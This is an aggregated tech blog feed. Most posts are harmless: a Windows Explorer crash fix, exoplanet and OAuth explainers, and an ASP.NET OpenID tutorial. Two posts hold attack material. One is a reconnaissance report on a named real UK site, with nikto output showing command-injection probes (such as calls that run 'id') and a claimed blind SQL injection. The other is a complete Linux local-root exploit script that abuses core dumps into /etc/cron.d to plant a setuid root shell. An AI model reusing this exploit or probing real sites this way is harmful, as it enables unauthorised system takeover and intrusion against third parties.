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Microsoft Error 1000 Win7 Explorer 6.1

technologychick — Sun, 30 Dec 2012 06:24:32 +0000

If you experience an problem with Windows explorer, crashing (restarting) and “checking for solutions” frequently, please check your event log (start menu – Control Panel\All Control Panel Items\Administrative Tools\event viewer) and check your system for details:

Error 1000

Faulting application name: explorer.exe, version: 6.1.7601.17567, time stamp: 0x4d6727a7
Faulting module name: DivXMFSource.dll, version: 1.0.0.72, time stamp: 0x4cffcf66
Exception code: 0xc0000005
Fault offset: 0x0009b8a1
Faulting process id: 0×1120
Faulting application start time: 0x01cde647c43c2960
Faulting application path: C:\Windows\explorer.exe
Faulting module path: C:\Program Files\DivX\DivX Plus Media Foundation Components\DivXMFSource.dll
Report Id: 05f99130-523b-11e2-ab4f-000000540400

Temporary Solution – Uninstall Divx

As you can see, the problem can easily be rectified, but only if you know what your doing. The conflicting / manifested dll or other file, could be malware or linked to a bigger program.

p.s this error had to be placed here as the Microsoft site has changed to only promote bug reports on, evaluating software only

Vulnerability found in http://nnc.co.uk

technologychick — Tue, 11 Sep 2012 12:28:49 +0000

Info first

root@bt:/pentest/enumeration/web/whatweb# ./whatweb ncc.c
http://ncc.co.uk [200] Cookies[ncc], Email[info@ncc.co.uk], Google-Analytics[UA-11579552-1], Title[National Computing Centre | Home], PHP[5.2.17], JQuery, X-Powered-By[PHP/5.2.17], Country[UNITED KINGDOM][GB], Apache, HTTPServer[Apache], IP[88.98.24.202]

Index.php Header contains a expireiry date that has long been and gone:

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.17
Transfer-Encoding: chunked
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Date: Tue, 11 Sep 2012 03:02:58 GMT
Content-Type: text/html

http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
http://www.w3.org/1999/xhtml">

Blindsqli in captcha!

During a few scans with backtrack, heres a vulnerability I found it their site, This first one sits on http://ncc.co.uk/index.php/index.php in the captcha token

        Exported HTTP Request from W3AF

http://ncc.co.uk/index.php" method="POST">

website
http://w3af.sf.net/">
comment

firstname

lastname

company

telephone

captcha

postcode

address

Accreditation_4_action

form

title

jobtitle

email

mode

captcha_token

page

19 Items found, to be suspected vulnerabilities

root@bt:/pentest/web/nikto# ./nikto.pl -h http://ncc.co.uk
- Nikto v2.1.5
—————————————————————————
+ Target IP:          88.98.24.202
+ Target Hostname:    ncc.co.uk
+ Target Port:        80
+ Start Time:         2012-09-10 21:17:29 (GMT-4)
—————————————————————————
+ Server: Apache
+ Retrieved x-powered-by header: PHP/5.2.17
+ robots.txt contains 2 entries which should be manually viewed.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-17664: /_mem_bin/remind.asp: Page will give the password reminder for any user requested (username must be known).
+ OSVDB-724: /cgi-bin/ans.pl?p=../../../../../usr/bin/id|&blah: Avenger’s News System allows commands to be issued remotely.
+ OSVDB-724: /cgi-bin/ans/ans.pl?p=../../../../../usr/bin/id|&blah: Avenger’s News System allows commands to be issued remotely.
+ OSVDB-3233: /mailman/listinfo: Mailman was found on the server.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /certificates: This might be interesting…
+ OSVDB-3092: /img-sys/: Default image directory should not allow directory listing.
+ OSVDB-3092: /java-sys/: Default Java directory should not allow directory listing.
+ OSVDB-3299: /forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-3299: /forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-3299: /htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-3299: /vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-3299: /vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-3299: /cgi-bin/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20”;%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
+ OSVDB-724: /ans.pl?p=../../../../../usr/bin/id|&blah: Avenger’s News System allows commands to be issued remotely. http://ans.gq.nu/ default admin string ‘admin:aaLR8vE.jjhss:root@127.0.0.1′, password file location ‘ans_data/ans.passwd’
+ OSVDB-724: /ans/ans.pl?p=../../../../../usr/bin/id|&blah: Avenger’s News System allows commands to be issued remotely.
+ 6474 items checked: 64 error(s) and 19 item(s) reported on remote host
+ End Time:           2012-09-10 22:14:47 (GMT-4) (3438 seconds)
—————————————————————————
+ 1 host(s) tested

Exploit Title: Linux 3.x.x Executable File Read Exploit

technologychick — Wed, 27 Jun 2012 21:10:36 +0000

# Date: 6/26/12
# Version: 3.x.x
# Category:: Local Root Exploit
# Tested on: Linux, Ubuntu
# Demo site: [3 vulnerable site, this will speed up check]

#!/bin/sh
#
# 3.x.x local root exp By: Blade
# + effected systems 3.x.x
# tested on Intel(R) Xeon(TM) CPU 5.20GHz
# Works perfect on all linux distros and servers.
# maybe others …
# ~
# Use this at your own risk, I’m not responsible for any risk.
# sorchfox@hotmail.com

cat > /tmp/getsuid.c << __EOF__
#include
#include
#include
#include
#include
#include
#include
#include

char *payload=”\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n”;

int main() {
int child;
struct rlimit corelimit;
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
if ( !( child = fork() )) {
chdir(“/etc/cron.d”);
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
sleep(120);
}
__EOF__

cat > /tmp/s.c << __EOF__
#include
main(void)
{
setgid(0);
setuid(0);
system(“/bin/sh”);
system(“rm -rf /tmp/s”);
system(“rm -rf /etc/cron.d/*”);
return 0;
}
__EOF__
echo “wait aprox 4 min to get sh”
cd /tmp
cc -o s s.c
cc -o getsuid getsuid.c
./getsuid
./s
rm -rf getsuid*
rm -rf s.c
rm -rf prctl.sh

Discovered: The Best Bet Yet For A Super-Earth, And It’s Very Close Too!

technologychick — Sun, 05 Feb 2012 23:00:19 +0000

This might be even better than Kepler 22b! An alien exoplanet has been discovered, which resembles our own Earth the most. It is the best bet scientists are putting forward for a planet outside our own Solar System that is capable of harbouring liquid water. It lies in just the right zone – called the Goldilocks Zone – at the perfect distance away from its parent star and might even be congenial enough to harbour life of the form we see on Earth. It is also our next door neighbour, being just 22 light years away. The planet is christened GJ 667C.

An artist’s impression

Just to give you a sense of how close GJ677C is, consider the fact that there are only 100 stars closer to Earth than this planet. The planet occurs bang in the middle of the Goldilocks zone, as Steven Vogt, astronomer at the University of California, Santa Cruz, emphatically stresses in an interview to space.com:

It’s right smack in the habitable zone – there is no question or discussion about it. It’s not on the edge, it’s right in there!

The planet is about 4.5 times the size of Earth, but is not gaseous. It is rocky, having a composition similar to that of Earth. It orbits its parent star in only 28 days. The parent star is one of a triple-star system, which by itself is a nice fact about this planetary system. The star is a faint M-star, but still visible from Earth. This faintness of the star explains the fact the planet is quite close to the star – as indicated by its small orbital period – while still being in the Goldilocks zone, which is in itself a first instance. It just shows that there are systems which, otherwise deemed boring, might be worth checking.

The sight of the sky from GJ667C should be great! It’s parent star is one of a triple-star system, which means that apart from its own sun, the planet’s sky has two more suns, which are also just far enough to not destabilize the orbit or burn up the planet. Vogt does the explanation again:

The planet is around one star in a triple-star system. The other stars are pretty far away, but they would look pretty nice in the sky.

The study was published in Astrophysical Journal Letters.

How To Build A Dinosaur

technologychick — Sun, 05 Feb 2012 22:58:56 +0000

Watch the doc here…

How to build a dino

http://feeds.topdocumentaryfilms.com/~r/TopDocumentaryFilms/~3/7h6_ivXsoJY/

2-legged vs. 3-legged OAuth

technologychick — Thu, 12 Jan 2012 20:07:36 +0000

From emails I receive it seems like there is a bit of confusion about what the terms 2-legged OAuth and 3-legged OAuth mean. I hope I can clear up this confusion with this article (and don’t contribute more to the confusion…).
In short, they describe two different usage scenarios of OAuth involving two respectively three parties.
3-legged OAuth describes the scenario for which OAuth was originally developed: a resource owner wants to give a client access to a server without sharing his credentials (i.e. username/password). A typical example is a user (resource owner) who wants to give a third-party application (client) access to his Twitter account (server).
On a conceptual level it works in the following way:
Client has signed up to the server and got his client credentials (also known as “consumer key and secret”) ahead of time
User wants to give the client access to his protected resources on the server
Client retrieves the temporary credentials (also known as “request token”) from the server
Client redirects the resource owner to the server
Resource owner grants the client access to his protected resources on the server
Server redirects the user back to the client
Client uses the temporary credentials to retrieve the token credentials (also known as “access token”) from the server
Client uses the token credentials to access the protected resources on the server
2-legged OAuth , on the other hand, describes a typical client-server scenario, without any user involvement. An example for such a scenario could be a local Twitter client application accessing your Twitter account.
On a conceptual level 2-legged OAuth simply consists of the first and last steps of 3-legged OAuth:
Client has signed up to the server and got his client credentials (also known as “consumer key and secret”)
Client uses his client credentials (and empty token credentials) to access the protected resources on the server
Above I used Twitter as an example, though strictly speaking, they don’t use 2-legged OAuth, but a variant of it. They not only provide the client credentials but also the token credentials (see also Using one access token with OAuth ).
As you have seen, 2-legged OAuth is nothing new, it is simply using OAuth in a different scenario than it was designed for. And hence you can use (almost?) all existing OAuth libraries for 2-legged OAuth, too.

Nuance launches Dragon Go! for Android, available today for free

technologychick — Tue, 10 Jan 2012 11:08:09 +0000

Nuance launches Dragon Go! for Android, available today for free

As if its acquisition of Swype wasn’t enough indication, Nuance has been working on its goal of dominating the Android speech recognition market, one step at a time. Today the company’s pressing forward once again by introducing its Dragon Go! app for Google’s mobile OS. The app focuses on verbal commands, giving you the ability to ask it to perform internet searches, make dinner reservations, buy movie tickets, play music on services like Pandora and Spotify and the list goes on. If you crave the specific details, make your way beneath the break and have a gander at the press release below.

Create an HTML5 Game, Win $30k and a Trip to GDC/SF

technologychick — Sun, 08 Jan 2012 21:51:50 +0000

http://feedproxy.google.com/~r/readwriteweb/hack/~3/DSIyH9E_nV8/create-an-html5-game-win-30k-a.php

The internet weighs the same as a strawberry

technologychick — Wed, 21 Dec 2011 19:17:22 +0000

Last week, we learned that a fully loaded Amazon Kindle weighs more than a brand new, unused and empty one. This week’s revelation on the same theme is that the internet, in all its infinite glory, weighs about the same as a strawberry. Confused? Excellent.

The internet.

Professor John Kubiatowicz, of the University of California, Berkeley, explained his observation about the Kindle last week, drawing on Einstein’s E=mc² equation, which establishes mass and energy equivalence. He noted that a Kindle stores data by trapping electrons; when a book is downloaded to the Kindle, the number of electrons stays the same, but the energy needed to store the data increases.

As the electrons gain energy, they gain mass, as Einstein’s equation tells us. Armed with this knowledge, the Professor calculated that a fully-loaded 4GB Kindle would weigh a billionth of a billionth of a gram (also known as one attogram, 1ag or 0.000000000000000001g) more than a brand new one.

Building on this further, the clever chaps at YouTube channel vsauce have thrown together a bunch of calculations, that boil down to their conclusion that the internet in its entirety – that’s all of the electrons on all of the servers in all nations across the globe – is made up of a sum total of 50 grams of electrons in motion.

Rather than tax my simple, feeble mind by trying to explain this to you further – the blind leading the blind will get no-one anywhere fast here – check out the video below for an easy-to-digest explanation of Professor Kubiatowicz’s and vsauce’s calculations.

So there we have it: the internet is roughly equivalent in weight to a strawberry. There’s definitely a joke to be made about internet traffic jams here, but perhaps it’s best to avoid that temptation.
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Google OpenID Authentication In Your ASP.NET With DotNetOpenAuth

technologychick — Mon, 19 Dec 2011 12:23:11 +0000

To secure websites, we usually create user database and develop a login page to authenticate the user. If you have several websites, creating separate user login for each site is time consuming and not favorable to your users because they have to login to each site separately. OpenID was developed to solved such authentication hassles. It is an open standard for developers that enables them to authenticate their users in a decentralized manner. For end-users, OpenID allows them to consolidate their digital identities. Major web services that supports OpenID are Google, Yahoo and Facebook. If you use OpenID with your website, you allow users to login to your site using their Google, Yahoo or Facebook accounts. The authentication will be hosted by the OpenID provider, so no need to maintain the user details on your side except the Identifier returned by the provider.On this article, I will show you a ASP.NET sample code I made that use OpenID Authentication to verify Google Account. To accomplish the authentication, I used the C# library called DotNetOpenAuth. Here is the step-by-step procedure to implement it on your ASP.NET application.

Download the DotNetOpenAuth Libraries. Choose the most appropriate version for development platform.

Extract the downloaded compressed file on your hard drive.

On your project, Add Reference to “DotNetOpenAuth.dll”

On your login page’s HTML Code, paste the following.

Log in with
CommandArgument=”https://www.google.com/accounts/o8/id” />

Take note of the URL: https://www.google.com/accounts/o8/id – this is the unique OpenID URL of Google Account. 5. Include the following namespaces on your “Using” directive.

6. On the Page_Load & OpenLogin_Click, use the following codes

using DotNetOpenAuth.OpenId;
using DotNetOpenAuth.OpenId.RelyingParty;

protected void Page_Load(object sender, EventArgs e)
{
OpenIdRelyingParty rp = new OpenIdRelyingParty();
var r = rp.GetResponse();
if (r != null)
{
switch (r.Status)
{
case AuthenticationStatus.Authenticated:
NotLoggedIn.Visible = false;
Session["GoogleIdentifier"] = r.ClaimedIdentifier.ToString();
Response.Redirect(“Main.aspx”); //redirect to main page of your website
break;
case AuthenticationStatus.Canceled:
lblAlertMsg.Text = “Cancelled.”;
break;
case AuthenticationStatus.Failed:
lblAlertMsg.Text = “Login Failed.”;
break;
}
} }protected void OpenLogin_Click(object src, CommandEventArgs e)
{
string discoveryUri = e.CommandArgument.ToString();
OpenIdRelyingParty openid = new OpenIdRelyingParty();
var b = new UriBuilder(Request.Url) { Query = “” };
var req = openid.CreateRequest(discoveryUri, b.Uri, b.Uri);
req.RedirectToProvider();
}

7. Run the project. It should look like the following screens.

Log in with Now the Login page look like ….